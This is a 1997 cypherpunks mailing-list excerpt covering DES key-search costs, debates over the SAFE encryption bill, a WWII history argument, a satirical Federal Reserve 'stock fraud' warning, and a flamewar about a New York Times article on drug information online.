35 hours sounds a reasonable amount of time to break a Swift banking
transfer key protecting trillions of dollars of funds.

Perhaps $10,000 isn't too far off the current day costs of breaking
DES after all.  (500Mhz chips?  You can get dec alphas at that speed,
and thats a general purpose CPU)

(If anybody is short of a copy, I've put the one up I've got (no idea
where I got it from) here:

	http://www.dcs.ex.ac.uk/~aba/crypto-papers/des_key_search.ps
)

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 25 Jun 1997 08:28:10 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Japan & bombing the US
Message-ID: <199706250000.TAA27658@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Several people have made comment on the difference between states and
protectorates of one sort or another in reference to the comment I made
about Oregon being the only US state to be bombed in WWII. While this is
technicaly true if you go back and look at the original posting I replied
too was made in the context of US involvment in the war and how isolated
we were, so isolated, the claim went, that the Japanese were unable to
invade or otherwise attack the US.

While it is true that Oregon was the only area attacked which was a state
under the context of US possessions being attacked it is false.

The main point here is that the original proposal was incorrect due to more
than a semantic technicality. This brings the whole issue of the US sitting
out the war into question. A question I answer strongly in the negative. It
is not possible that the US could have sat out the war as a neutral.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Wed, 25 Jun 1997 10:03:28 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Grand Compromise is Coming
In-Reply-To: <v0310280bafd607388c55@[207.167.93.63]>
Message-ID: <Pine.SOL.3.96.970624204553.3935D-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 24 Jun 1997, Tim May wrote:

> (By the way, I have no heard no good counters to my point that the "use of
> crypto in furtherance of a crime" is quite analogous to "freedom of
> religion shall not be abridged, but saying a heathen prayer in furtherance
> of a crime shall subject the heathen to an additional five years of
> imprisonment." This is why I think the "use of a special language or
> whispering in furtherance of a crime" provisions of SAFE will probably be
> struck down by the Supremes, unless they, too, have forgotten what the
> Constitution is all about.)

OK, Tim, I'll try:
The use of communication in furtherance of a crime shall add five years .
. .etc.

The use of any device to enhance the speed of communication in furtherance
of a crime shall . . . etc.

The use of any device to disguise a voice in furtherance of  . . . etc.

The use of any cryptographic means of communication in furtherance . . .

Now, if two and three above are constitutional, why aren't one and four?
MacN






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 25 Jun 1997 10:38:16 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Japan & bombing the US (fwd)
Message-ID: <199706250209.VAA28146@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 24 Jun 1997 18:20:17 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: Japan & bombing the US

> No, this is incorrectly paraphrasing what I wrote. What I said, very
> precisely, was "as there has been no credible threat of attack or invasion
> of the states in America in at least 170 years." I was careful to say
> "states in America."

Distinction noted. I suppose the fact that American laws govern these areas,
and they pay taxes, and can be drafted into our military, get citizenship at
birth, etc. are totaly and completely irrelevant and completely unrelated to
issues such as these. Thinking like yours is why McArthur got such support
when he promised to return to the Phillipines when even his bosses were ready
to write it off. It's why the Japanese have such a high regard for him
respecting his tenure as military dictator of Japan during their rebuild.
If you haven't read it you might consider reading his biography American
Ceaser for its insight into the politics of these two periods.

> And I also limited my comments to the events leading up to wars...my
> context was clear: that had the U.S. not chosen to enter wars, no states
> would have been attacked even later. That the U.S. has entered wars and had
> states attacked hardly disputes my point.

The US didn't choose to enter the war however, that is the issue not your
nit-picking over some irrelevant boundary distinction.

One thing is clear to anyone who lived in that period as an adult or studies
it carefuly, the distinctions that Tim is claiming to be relevant were not
important to the people living at the time. When it came to shooting
'Americans' (not Americans in a state, or not on vacation, etc. noise) it
was the shooting of Americans that was at issue and not whether Alaska or
Hawaii really would become a state in 1959. It is not reasonable to expect
the United States of America could have 'sat out' the war. It was and is
clear that American MUST enter the war at some point. The British were down 
to their last $750M in a S. African bank that went walkaround on an American
transport to pay outstanding bills. Because of the economic and social ties
between American and Britian any thesis claiming America could (let alone
should) have remained neutral is pure meta-history. Consider the
unrestricted German submarine warfare occuring as close as 30 miles from
the Eastern seaboard. How long would people put up with bodies washing up
on their beaches regularly? What would have been the impact of doing
business with Europe under the German helm in the US (which couldn't exist
at anything close to todays tech/social level without strong economic
markets)? The Germans and Russians managed to arrive at a commen goal in the
invasion of Poland. Without the drain of the African and Cicilian campaigns
(which required the support of the US on a military footing to succeed) it
is just possible that Russia could sue for peace with Germany causing at
least a temporary breathing spell for the marshalling of forces. It is also
clear at this point that Germany had a much larger technology lead over the
Russians (research where the tubes for Russian radios came from) and such
weapons as the ME-262, V1, V2, etc. Under this light it is clear that
given a breathing space Germany allied with Japan (assuming the successful
invasion of Australia, with no Britian and no US how long would they last?)
would pose a real threat to the US, including the direct assault on the
continental US. If we can do it in Europe and Africa what in the world makes
you think somebody else can't do it? Without US intervention in the war
Italy would own Africa now.

Those folks were predators, they didn't back down. The Japanese would have
gone for the west coast. The Russians would look at the Alaskan peninsula
(bought from Russia in the 1800's) and lick their chops. The South American
continent would have been Germanic/Japanese without US intervention. The 
influx of Germans into Argentina and Japanese to Peru started in the 20's
and not the 50's. Germany was building a bomber to hit New York and long
range fast transport subs, their intent was clear.

Why the United States entered WWII can't be attributed to ANY single
simplistic thesis such as this. It is also clear that the Japanese and
German decision making processes were not motived this simply either.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|


ps legaly US military bases are US soil in the same class as DC, clearly
   a part of the United States. An attack upon such is treated legaly
   as an attack upon one of the 48 states.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 25 Jun 1997 11:12:07 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: The Grand Compromise is Coming (fwd)
Message-ID: <199706250228.VAA28187@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 24 Jun 1997 20:56:33 -0500 (CDT)
> From: Mac Norton <mnorton@cavern.uark.edu>
> Subject: Re: The Grand Compromise is Coming

> OK, Tim, I'll try:
> The use of communication in furtherance of a crime shall add five years .
> . .etc.
> 
> The use of any device to enhance the speed of communication in furtherance
> of a crime shall . . . etc.
> 
> The use of any device to disguise a voice in furtherance of  . . . etc.
> 
> The use of any cryptographic means of communication in furtherance . . .
> 
> Now, if two and three above are constitutional, why aren't one and four?

The use of any printing press in the ....

The use of speech in the ...

Per the 1st, 9th & 10th;

"The use of <blah> in the ...." is un-Constitutional.

Now, I can see committing a crime using some facility or special skill might
exacerbate the verdict, is that the intent? We could just do away with the
preamble and go with exacerbating the verdict if a special skill or facility
is required.

If nothing else it eliminates any pretense of spontinaity, in effect
pre-meditation or aggravation. From that perspective I don't see a
Constitutional issue except regarding the punishment phase.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 25 Jun 1997 09:44:49 +0800
To: cypherpunks@toad.com
Subject: SAFE clears House subcommittee, with amendments
Message-ID: <v0300781cafd62472aa46@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



***************

Date: Tue, 24 Jun 1997 21:09:41 -0400
To: fight-censorship-announce@vorlon.mit.edu
From: Declan McCullagh <declan@well.com>
Subject: FC: SAFE clears House subcommittee, from LEGI-SLATE

[Since I showed up late today and missed some of the early discussion, I
asked my friend Amy for permission to pass along her report. She graciously
agreed. --Declan]

*****************

SAFE Act Nears Home in House After Subcommittee
Tosses It Out Favorably

By Amy Branson
LEGI-SLATE News Service

WASHINGTON (June 24) -- Casting the only opposing vote to
H.R. 695 -- the "Security and Freedom Through Encryption
Act" -- Rep. Doug Bereuter, R-Neb., knew his position was
the lonely one at a subcommittee markup Tuesday.

"The goal must be to balance between the competitiveness
of U.S. companies and U.S. national security goals,"
Bereuter began. "However, this bill fails that balance
because it significantly relaxes U.S. export control of
encryption without requiring a key recovery policy ... to
those exports."

Despite Bereuter's problems with the bill, the House
International Relations Subcommittee on International
Economic Policy and Trade passed H.R. 695 by a recorded
vote of 14 yeas and 1 nay [Vote 1].

H.R. 695 lifts export restrictions on many kinds of
strong encryption products, prohibits federal or state
governments from requiring anyone to give up the key to
their encrypted communications, and establishes criminal
penalties for using encryption to further a criminal
offense.

"This is a vitally important piece of legislation if
we're going to continue to promote the United States
dominance of the software industry worldwide," the bill's
sponsor, Rep. Bob Goodlatte, R-Va., said Tuesday
afternoon. Goodlatte, who does not sit on the
International Relations Committee, spoke on behalf of his
bill at the markup session.

"This legislation is also very important from the
standpoint of promoting the safety and security of
American citizens and others in the use of the Internet,"
he added.

Subcommittee members also adopted by voice vote an "en
bloc amendment" that made what they described as mostly
"technical" changes to the bill.

Subcommittee aides emphasized that the purpose of the
amendment language was to close loopholes and fix
unintended omissions contained in the underlying
legislation.

For example, the amendment expands the kinds of products
that do not have to have a validated license for export
or re-export to include "any consumer product
commercially available in the U.S. or abroad using
encryption capabilities which are inaccessible to the end
user and is not designed for military or intelligence end
use."

The amendment also expands the term "generally available"
as it is used in the bill to include hardware with
encryption capabilities. As the bill now is written, only
software with encryption capabilities is covered.

Also, the en bloc amendment added a "Sense of Congress"
section to the end of the bill.

In addition to "finding" that the president "has not been
able to come to agreement with other encryption producing
countries on export controls on encryption," the
amendment suggests the president immediately should call
an international conference to reach a policy agreement
with other encryption exporting countries.

Administration officials disapprove of this language
because they say they are "close" to reaching an
encryption export policy agreement with these countries,
one House aide said. But the administration has been
making this claim for several years, the aide said.

This legislation already has been reported favorably by
the House Judiciary Committee, which did not have
jurisdiction over the export language. The International
Relations subcommittee, however, had jurisdiction over
the most controversial parts of the bill: the export
provisions.

The bill still faces a markup in the full International
Relations Committee where there likely will be another
technical amendment, the aide said.

Meanwhile, the Senate Commerce Committee recently adopted
a so-called "compromise" encryption bill that satisfies
Clinton administration concerns about the availability of
strong encryption technology overseas.

But industry officials decry the legislation, sponsored
by Senate Commerce Committee Chairman John McCain,
R-Ariz., and Sen. Robert Kerrey, D-Neb.

Senate legislation [S. 377] that more closely resembles
Goodlatte's SAFE Act has been put on the back burner
because of Clinton administration objections. Sen. Conrad
Burns, R-Mont., is sponsoring that bill, which also is
known as Pro-CODE, or Promotion of Commerce Online in the
Digital Era Act of 1997.

-30-

TYPE*MARKUP
BILL*HR695
DATE*6/24/97


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 25 Jun 1997 12:57:19 +0800
To: cypherpunks@cyberpass.net
Subject: LOSE MONEY FAST!!
Message-ID: <199706250451.VAA24476@netcom4.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




not to encourage any paranoia or conspiracy theory, but 
this is an interesting warning I saw on another mailing list that I thought
I'd pass on---




From: xxxxx
Date: Tue Jun 24 21:49:18 PDT 1997
Subject: LOSE MONEY FAST!!


I am writing this to WARN THE PUBLIC of a very DIABOLICAL SCHEME that
is RIGHT NOW playing out in the market and ingeniously designed to separate 
GULLIBLE INVESTORS from their lawful returns. I cannot now reveal 
exactly the name of the company involved, but I will identify it by the 
initials "FRN". 

FRN directors are involved in a complex STOCK MANIPULATION SCHEME
in which they are selling additional shares of the company beyond
those in circulation, with only the hazy knowledge of the existing
stockholders. This is being done IN COLLUSION WITH GOVERNMENT
REGULATORS, who are receiving kickbacks from the operation! In other words, 
individual investors of FRN believe they own 1/n of the company, when in 
fact there are more shares in existence and they actually own far less than 
the fraction indicated on their certificates!

The additional shares are owned by directors of the company who
are secretly releasing the FRAUDULENT SHARES on the market with PRECISE 
TIMING, such that whenever the legitimate value of the company increases,
they release new shares for sale at the current share price. The
net effect is that market share prices creep up in value only marginally 
while the directors effectively INCREASE THEIR CONTROL of the corporation 
by STEALING FROM SMALLER SHAREHOLDERS. 

Some select shareholders are allowed to participate in the plan if they
increase the profitability of the company, but in their BLIND GREED have 
not done the math and do not realize that they are in effect LOSING MONEY 
even though numerically their supposed shares are compounding regularly! 
In effect the corporation is COUNTERFEITING ITS OWN SHARES under the full 
knowledge and supervision of the topmost echelons, and the general
ignorance of shareholders! This thievery is paid for courtesy of an 
ever-increasing percentage of the company's shareholders without
their awareness! 

In fact, because so many shareholders are participating, the whole
system can be thought of as a massive form of INVISIBLE SLAVERY! 
The energy of the shareholders that is successfully improving the
company is being siphoned off by their "masters", while the masters
insist that the company is not even breaking even!  Perhaps you may scoff, 
but remember, THE PERFECT SLAVE IS THE ONE WHO DOESN'T REALIZE HE'S A 
SLAVE, and an even better one RIDICULES THE POSSIBILITY. And--some 
slaves THINK THEY ARE MASTERS when in fact they are really SLAVES.
(Do you live in a "land of the free"? Are you sure?)

FRN has been operating since 1913 and has sucked in huge masses of
unsuspecting shareholders who do not realize that it is a massive pyramid
scheme that must eventually collapse! Initially the effects were negligible
but the disparities among shareholdings has been magnified exponentially
over the years.  Shareholders have not realized this EVIL TRICK 
because the company has been growing incredibly rapidly
with massive profits that are never reaped by the DESIGNATED
VICTIM SHAREHOLDERS but instead skimmed by the CONSPIRATOR'S ELITE.
A sophisticated and well-funded PR Office of the company has hypnotized
the shareholders into believing their shares are far more valuable than
they really are, even in spite of OBVIOUS SIGNS OF DEPRECIATION!

The grotesque nature of the beast is revealed in that eventually, 
with mathematical certainty, doing absolutely nothing, the SINGLE SHAREHOLDER 
who owned the greatest share at the beginning of this hoax will eventually 
OWN VIRTUALLY THE ENTIRE COMPANY, with all other shareholders owning 
virtually nothing! ("The rich get richer and the poor get poorer"-- with
some of the poorer thinking they are getting richer!) But the system will 
collapse before then after enough shareholders FEEL THE SQUEEZE.

Unfortunately, it is likely the shareholders will only realize they have 
been CHEATED and get ANGRY once the whole snake oil enterprise
CRASHES! At that point, whoever will be left holding the bag will be 
mostly random!  But what about the masters?

Hopefully when the pyramid scheme FINALLY DOES CRASH, the shareholders
will have learned their lesson, and go after those truly responsible 
instead of fighting among themselves, or at the very minimum
STOP INVESTING IN PYRAMID SCHEMES! However, history has suggested 
that the current FRN owners have been using the same strategy in 
many prior shell games and escaped many previous company "bankruptcies" 
with their wealth unscathed, and are right now shrewdly planning their 
escape route by cashing out at precisely the right instant
in their LATEST AND MOST GREATEST SKULLDUGGERY EPISODE as well! 

>From what I have heard, the plan is to then use the proceeds 
to erect the next, EVEN MORE CONSTRICTING WEALTH EXTRACTION 
AND SLAVERY SYSTEM. They have been doing this LIKE CLOCKWORK 
on a schedule of about every 60-70 years, which seems
to be about the limit of the public's memory and the lifespan of
the system. In fact, it has been going on so long the masters
have convinced the population that it's a regular and
unavoidable phenomenon!

I don't know what will happen, but I am sending this warning to
YOU PERSONALLY to check to see if you own shares in FRN, and if
so, SELL THEM IMMEDIATELY and invest your hard-earned money into
some LEGITIMATE ALTERNATIVE that doesn't steal from you merely by
owning it. Also realize that TRADING FRN SHARES, while convenient, is
PLAYING INTO THE SCAM! Quite insidiously, far more people own and
trade shares in FRN than realize it due to indirect ownership!
The MASS DELUSION is everywhere!

Eventually the corruption in the government and greed in the population
will have to be cleaned up so that companies such as FRN can never
begin operating in the first place, and THE TEMPLE IS FOREVER RID OF 
THE MONEYCHANGERS. But your FIRST DEFENSE is your own intelligence. 
Remember, YOU CAN'T CHEAT AN HONEST PERSON!

Part of the moral is to KNOW WHERE ALL THE SHARES ARE and to MAKE SURE 
THEY ADD UP TO 1!  The TREACHEROUS HIGHWAY ROBBERS will invent elaborate,
complicated, INCOMPREHENSIBLE reasons why they don't, such as talking about
what paper the stock certificates are made out of, or how high government 
taxes are, or pointing at programs for share-trading among shareholders. But
remember, this is all SMOKE AND MIRRORS--a certificate that says 1/n is
a CONTRACT no matter what kind of paper it is printed on, the entire 
government recently became ANOTHER LOSING SHAREHOLDER, and the net result
of the share-trades NEVER ESCAPES THE SHARE PARASITES! 

Please don't attack the losing shareholders! If you have problems 
identifying the thieves, remember, THEY'RE THE ONES WHO AUTHORIZED
RELEASE OF THE FRAUDULENT CERTIFICATES in the first place, IN EXCESS OF 
FACE VALUE. And they'll likely be unscathed after the collapse, but keeping
an extremely low profile! (But don't blame the printers! And don't believe 
it if the "authorizers" pretend to be the "printers"!)
 
Take back your power and DEMAND ACCOUNTABILITY, otherwise, you're just 
ANOTHER VICTIM FOR THE CON GAME! 


May God be with you--







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Wed, 25 Jun 1997 10:29:40 +0800
To: cypherpunks@toad.com
Subject: Internet knuckle-dragging from the New York Times
Message-ID: <Pine.LNX.3.95.970624221010.31832D-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 24 Jun 1997 22:03:20 -0400
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: FC: Internet knuckle-dragging from the New York Times

Wired's Todd Lappin started the flamefest last Friday. A bit
uncharacteristic, perhaps, since Todd is generally mild-mannered both
online and offline -- but then again, he had a good point and a juicy
target. It was the New York Times, which had front-paged a scaremongering
above-the-fold article by Christopher Wren:
  http://www.nytimes.com/library/cyber/week/062097drug.html

Todd posted on fight-censorship:

	The article, headlined "Seductive Drug Subculture
	Flourishes on the Internet," notes that the Net has
	become "a virtual do-it-yourself guide to drug use,
	at a time when adolescents' experimenting is on the
	rise."  Our intrepid reporter then goes on to assert
	that "partly owing to free-speech protection, the
	Internet lacks a quality control mechanism to
	separate fact from hyperbole or from  outright
	falsehood."

	Indeed, it is also because of those nettlesome
	free-speech protections that the New York Times is
	able to publish such drivel -- replete with it's
	schoolmarm fearmongering, silly correlations, and
	ankle-deep analysis.

Then the Boston Globe's technology reporter, Hiawatha Bray, leaped in...

-Declan

***********

Date: Fri, 20 Jun 1997 15:44:55 -0400
From: Hiawatha Bray <wathab@tiac.net>

Awright.  The lurking is over.

What IS your problem?  Can you point to any inaccuracies in Mr. Wren's
story?  If not, tough luck.

I'm tired of listening to so-called "free speech advocates" going ballistic
when they don't like what someone has to say.  Every time a journalist
writes a story about the seamier side of the Net, somebody complains that
this will give outsiders the wrong idea.  Nonsense.  I think what really
worries you is that such stories give people the RIGHT idea--that there are
sex fiends, dope smokers and would-be Unabombers on-line.  Well,  there
are.  And as long as there are, journalists will write about the fact.
 Don't like it?  Too bad.  Deal with it.

Hiawatha Bray
                                                        617-929-3115 voice
Technology Reporter
                                               617-929-3183  fax
Boston Globe
                                                         wathab@tiac.net
                                    P.O. Box 2378
                                    Boston, MA, 02107
                     http://members.tripod.com/~krothering/index.html

**********

Date: Fri, 20 Jun 1997 15:18:34 -0500
From: Jon Lebkowsky <jonl@onr.com>
Subject: RE: Internet Knuckle-dragging from the NYTimes

At 03:44 PM 6/20/97 -0400, Hiawatha Bray wrote:
>Awright.  The lurking is over.
>
>What IS your problem?  Can you point to any inaccuracies in Mr. Wren's
>story?  If not, tough luck.
>
>I'm tired of listening to so-called "free speech advocates" going ballistic
>when they don't like what someone has to say.  Every time a journalist
>writes a story about the seamier side of the Net, somebody complains that
>this will give outsiders the wrong idea.  Nonsense.  I think what really
>worries you is that such stories give people the RIGHT idea--that there are
>sex fiends, dope smokers and would-be Unabombers on-line.  Well,  there
>are.  And as long as there are, journalists will write about the fact.
> Don't like it?  Too bad.  Deal with it.
>

You missed the point. We all know that there are sex fiends, dope smokers,
and would-be Unabombers in this world, on the net and elsewhere. What we're
saying is that they have free speech rights, just like you. This isn't
about blowing people up. This isn't about molesting children. This isn't
about doing drugs. You don't *do* any of those things online.  But you may
talk about them.  This is about SPEECH.

***********

Date: Fri, 20 Jun 1997 13:28:27 -0800
To: Hiawatha Bray <wathab@tiac.net>, <Fight-censorship@vorlon.mit.edu>
From: "--Todd Lappin-->" <telstar@wired.com>

At 11:44 AM -0800 6/20/97, Hiawatha

>What IS your problem?  Can you point to any inaccuracies in Mr. Wren's
>story?  If not, tough luck.
>
>I'm tired of listening to so-called "free speech advocates" going ballistic
>when they don't like what someone has to say.  Every time a journalist
>writes a story about the seamier side of the Net, somebody complains that
>this will give outsiders the wrong idea.  Nonsense.  I think what really
>worries you is that such stories give people the RIGHT idea--that there are
>sex fiends, dope smokers and would-be Unabombers on-line.  Well,  there
>are.  And as long as there are, journalists will write about the fact.
> Don't like it?  Too bad.  Deal with it.


This is complete and utter bullshit.

I didn't say Wren's article was inaccurate... I said it is a load of
sensationalist crap, laden with half-baked innuendo and unsubstantiated
correlations.

Don't pull the "so-called 'free speech advocate'" horsepucky with me
either.  I'm not calling for censorship of the Times... I'm simply saying
that their story was garbage.  Of course, they have a right to print
garbage... but I also think they have an obligation to recount the facts
accurately, and in proper context.

This article failed to to that.  Instead, it implies that Websites use
cartoons to tempt the young (as if cartoons are only for the young), and
that the availability of drug info online somehow ties in to the fact that
"adolescents' [drug] experimenting is on the rise.

That's both absurd and factually unsubstantiated.

I have no problem discussing the darker side of the Net... I do so
regularly and openly. But I'm fed up with the "Internet Did It" genre of
newspaper reporting.  It's shoddy, and worse, it's dangerous  -- because it
promotes public hysteria through techno-fearmongering.

Deal with it.

--Todd-->

PS: Jon Lebkowsky's last point was excellent.

************

Date: Fri, 20 Jun 1997 13:35:46 -0700 (PDT)
From: baby-X <baby-x@millennium-cafe.com>

On Fri, 20 Jun 1997, Hiawatha Bray wrote:

> I'm tired of listening to so-called "free speech advocates" going ballistic
> when they don't like what someone has to say.  Every time a journalist
> writes a story about the seamier side of the Net, somebody complains that
> this will give outsiders the wrong idea.  Nonsense.  I think what really
> worries you is that such stories give people the RIGHT idea--that there are
> sex fiends, dope smokers and would-be Unabombers on-line.  Well,  there
> are.  And as long as there are, journalists will write about the fact.
>  Don't like it?  Too bad.  Deal with it.

Either educate yourself about the fact that what these stories portray as
some virulent epidemic of "bad" information is never anywhere near as severe
as the hysteria said stories try to foster (for example, go spend this
weekend reading all of Jon Katz over at the Netizen), or go back to lurking.

************

Date: Fri, 20 Jun 1997 16:57:49 -0400
From: freematt@coil.com (Matthew Gaylor)

>Awright.  The lurking is over.
>
>What IS your problem?  Can you point to any inaccuracies in Mr. Wren's
>story?  If not, tough luck.
>
>I'm tired of listening to so-called "free speech advocates" going ballistic
>when they don't like what someone has to say.  Every time a journalist
>writes a story about the seamier side of the Net, somebody complains that
>this will give outsiders the wrong idea.  Nonsense.  I think what really
>worries you is that such stories give people the RIGHT idea--that there are
>sex fiends, dope smokers and would-be Unabombers on-line.  Well,  there
>are.  And as long as there are, journalists will write about the fact.
> Don't like it?  Too bad.  Deal with it.

Rather than write sensationalist stories on rather rare crimes in tabloid
fashion-  [Not that you are guility of this.]

I'd personally rather see journalists mention that in comparison to kids
swimming, riding a bike, or even playing a game of summer baseball-  The
chances of harm to children surfing the net is infinitesimal.


Regards,  Matt-

********

From: Hiawatha Bray <wathab@tiac.net>
To: "Fight-censorship@vorlon.mit.edu" <Fight-censorship@vorlon.mit.edu>
Date: Fri, 20 Jun 1997 17:07:08 -0400

Hmmm...how can I put this?  The quality of the responses to my previous
message was, well...lame.

I don't do flame, so I'm trying to be courteous about this.  But folks--you
need to grow up.

********

Date: Fri, 20 Jun 1997 14:05:31 -0700
To: fight-censorship@vorlon.mit.edu
From: Lizard <lizard@dnai.com>

At 03:44 PM 6/20/97 -0400, you wrote:
>Awright.  The lurking is over.
>
>What IS your problem?  Can you point to any inaccuracies in Mr. Wren's
>story?  If not, tough luck.
>
If every week, all you saw in the papers were stories of journalists who
beat their wives, jounalists who were arrested on drunk driving charges,
journalists who falsified facts, and journalists who were late on their
child-support payments, would you simply be content to know that all the
stories were accurate? Or would you beging to think that maybe, just maybe,
there was a slant?

What you choose to report on is as important as the accuracy of the report.
What makes this story newsworthy? Why the snide reminder that it's that
darn ol' Free Speech thing that keeps these sites from being shut down? Why
the emphasis on how 'anyone' can post stuff to the net, since there's no
business interest to keep them controlled?

It's 100% pure propaganda, designed to stir up calls for a law to prevent
distributing 'drug information' to minors, what with the pending (we hope
-- well, *I* hope -- you probably don't) collapse of the CDA.

You know it is, too. why are you defending it?

***********

Date: Fri, 20 Jun 1997 14:15:31 -0700 (PDT)
From: baby-X <baby-x@millennium-cafe.com>
To: "Fight-censorship@vorlon.mit.edu" <Fight-censorship@vorlon.mit.edu>
Subject: RE: Internet Knuckle-dragging from the NYTimes

On Fri, 20 Jun 1997, Hiawatha Bray wrote:

The following is an example of why we don't hold your opinions to be of very
much worth:

> At no point does Mr. Wren say that Internet use among the young causes
> increased drug abuse.  He merely notes that a communications medium very
> popular with young people is laden with messages that encourage drug use,

Laden? Here is the definition of laden from the Hypertext Webster Gateway:

Definition for Laden from database web1913 (web1913)

   Laden \Lad"en\, p. & a. Loaded; freighted; burdened; as, a laden
   vessel; a laden heart.

Loaded? Freighted? Burdened? It's the use of this sort of hysteria-tinted
language that causes so many problems in establishment media ocverage of
cyberspace.

We know, from use of words like this one, what YOUR bias is in these cases.
We're just trying to keep that bias from infecting too much media coverage.


      baby-X <baby-x@millennium-cafe.com>
  -----------------------------------------------------------------------
      BitBurn Access - CyberPOLIS - Millennium Cafe - Sluggish Canine
  -----------------------------------------------------------------------
                              http://www.millennium-cafe.com/~baby-x/


*************

Date: Fri, 20 Jun 1997 17:19:19 -0400 (EDT)
From: Rebecca Daugherty <rebeccad@CapAccess.org>
To: Hiawatha Bray <wathab@tiac.net>

I think it's at least philosophically inaccurate to blame the net for the
action.  It's like killing the messenger, cursing the pen.  And it's too
sure 'n easy a spin  -- bad ole technology has done this too us.  um.um.um.

There are changes to note -- there are new kinds of technologically
proficient pedophiles and they merit some ink so they can be combatted. But
the net is the same old net and a benign one with no seamy side at all in
my thinking.

--------------------------------------------------------------------------
Rebecca Daugherty <rebeccad@capaccess.org>
Director, FOI Service Center, Reporters Committee for Freedom of the Press
Visit our web site for media law information: http://www.rcfp.org/rcfp/

**************

Subject: Re: Internet Knuckle-dragging from the NYTimes
Date: Fri, 20 Jun 1997 18:07:19 -0400
From: Thomas Grant Edwards <tedwards@isr.umd.edu>

In fairness, I don't see many stories in the media about guns except
in consideration of their use for murder or suicide.  Infact, the Net
gets off much easier than guns!

-Thomas

**************

Date: Fri, 20 Jun 1997 15:54:47 -0700
To: Hiawatha Bray <wathab@tiac.net>
From: Lizard <lizard@dnai.com>
Subject: RE: Internet Knuckle-dragging from the NYTimes
Cc: fight-censorship@vorlon.mit.edu

At 06:22 PM 6/20/97 -0400, Hiawatha Bray wrote:
>I gotta admit, I find your reply irresistible!   Much too much fun to argue
>with.  Okay.  You win.  You get to be Lizard.
>
>But you're still talking nonsense about the Times story.  Just because it
>makes you nervous to read nastiness about the Net, doesn't make it wrong
>for journalists to write the truth.  Besides, have you ever kept count of
>how many pro-Net stories there are?  If anything, we reporters have been
>guilty of shamelessly hyping the Internet.  I could probably show you 10
>positive stories about the Internet for every negative one.  Trust me--I
>end up reading nearly all of them...it's the cross I must bear!
>
Very few 'pro internet' stories deal with the REAL benefits of the Internet
-- the breakup of the media monopoly, the 'everyone is a reader, everyone
is a writer' concept, the building of communities of interest rather than
coincidence. We all know about children meeting Evil Predators on the net
-- why not stories about children meeting mentors, teachers, or counselors?
Rather than "My wife left me for her cyberlover!", why not "I met my wife
thanks to our shared interest in barbed-wire collecting"?

Let's look at that drug story. Why not write it like this?
====================================================
"After decades of getting only one side of the story from teachers,
government, and a lapdog media, teenagers are now able to easily access
both pro- and anti- drug information on the Internet, and chat with each
other about their drug experiences in secure anonymity, permitting them to
make up their own minds on this complex issue.

Because Internet access is so inexpensive, people do not need the support
of advertisers or subscribers to post any information they wish -- so views
outside the mainstream, which would never be aired in traditional forums,
can reach anyone with a modem, anywhere in the world. Further, the
interactive nature of the net makes it easy for people on all sides of a
debate to fire off points and counterpoints, so that the audience (who can
become participants at will) can make up their own minds, ask questions,
and raise issues that neither side might choose to raise on their own.

"It's wonderful for kids", says Mr. Fictional, teacher at Utopia Public
School. "We don't want them to 'Say No to Drugs' out of fear or ignorance,
